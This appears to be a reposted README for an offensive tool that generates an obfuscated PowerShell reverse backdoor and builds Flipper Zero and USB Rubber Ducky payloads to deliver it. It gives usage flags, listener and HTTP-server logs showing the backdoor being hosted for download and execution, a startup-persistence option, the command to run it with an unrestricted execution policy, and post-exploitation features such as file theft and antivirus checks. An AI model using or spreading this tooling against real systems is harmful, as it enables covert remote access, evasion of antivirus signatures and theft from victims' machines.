Powershell-Backdoor-Generator - Obfuscated Powershell Reverse Backdoor With Flipper Zero And USB Rubber Ducky Payloads

| Post sponsored by FaradaySEC | Multiuser Pentest Environment


Reverse backdoor written in Powershell and obfuscated with Python. Allowing the backdoor to have a new signature after every run. Also can generate auto run scripts for Flipper Zero and USB Rubber Ducky.

usage: listen.py [-h] [--ip-address IP_ADDRESS] [--port PORT] [--random] [--out OUT] [--verbose] [--delay DELAY] [--flipper FLIPPER] [--ducky]
                 [--server-port SERVER_PORT] [--payload PAYLOAD] [--list--payloads] [-k KEYBOARD] [-L] [-H]

Powershell Backdoor Generator

options:
  -h, --help            show this help message and exit
  --ip-address IP_ADDRESS, -i IP_ADDRESS
                        IP Address to bind the backdoor too (default: 192.168.X.XX)
  --port PORT, -p PORT  Port for the backdoor to connect over (default: 4444)
  --random, -r          Randomizes the outputed backdoor's file name
  --out OUT, -o OUT     Specify the backdoor filename (relative file names)
  --verbose, -v         Show verbose output
  --delay DELAY         Delay in milliseconds before Flipper Zero/Ducky-Script payload execution (default:100)
  --flipper FLIPPER     Payload file for flipper zero (includes EOL convers   ion) (relative file name)
  --ducky               Creates an inject.bin for the http server
  --server-port SERVER_PORT
                        Port to run the HTTP server on (--server) (default: 8080)
  --payload PAYLOAD     USB Rubber Ducky/Flipper Zero backdoor payload to execute
  --list--payloads      List all available payloads
  -k KEYBOARD, --keyboard KEYBOARD
                        Keyboard layout for Bad Usb/Flipper Zero (default: us)
  -A, --actually-listen
                        Just listen for any backdoor connections
  -H, --listen-and-host
                        Just listen for any backdoor connections and host the backdoor directory

Features

  • Hak5 Rubber Ducky payload
  • Flipper Zero payload
  • Download Files from remote system
  • Fetch target computers public IP address
  • List local users
  • Find Intresting Files
  • Get OS Information
  • Get BIOS Information
  • Get Anti-Virus Status
  • Get Active TCP Clients
  • Checks for common pentesting software installed

Standard backdoor

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --verbose
[*] Encoding backdoor script
[*] Saved backdoor backdoor.ps1 sha1:32b9ca5c3cd088323da7aed161a788709d171b71
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

A file in the current working directory will be created called backdoor.ps1

Bad USB/ USB Rubber Ducky attacks

When using any of these attacks you will be opening up a HTTP server hosting the backdoor. Once the backdoor is retrieved the HTTP server will be shutdown.

Payloads

  • Execute -- Execute the backdoor
  • BindAndExecute -- Place the backdoor in temp, bind the backdoor to startup and then execute it.

Flipper Zero Backdoor

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --flipper powershell_backdoor.txt --payload execute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

Place the text file you specified (e.g: powershell_backdoor.txt) into your flipper zero. When the payload is executed it will download and execute backdoor.ps1

Usb Rubber Ducky Backdoor

 C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --ducky --payload BindAndExecute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

A file named inject.bin will be placed in your current working directory. Java is required for this feature. When the payload is executed it will download and execute backdoor.ps1

Backdoor Execution

Tested on Windows 11, Windows 10 and Kali Linux

powershell.exe -File backdoor.ps1 -ExecutionPolicy Unrestricted
┌──(drew㉿kali)-[/home/drew/Documents]
└─PS> ./backdoor.ps1

To Do

  • Add Standard Backdoor
  • Find Writeable Directories
  • Get Windows Update Status
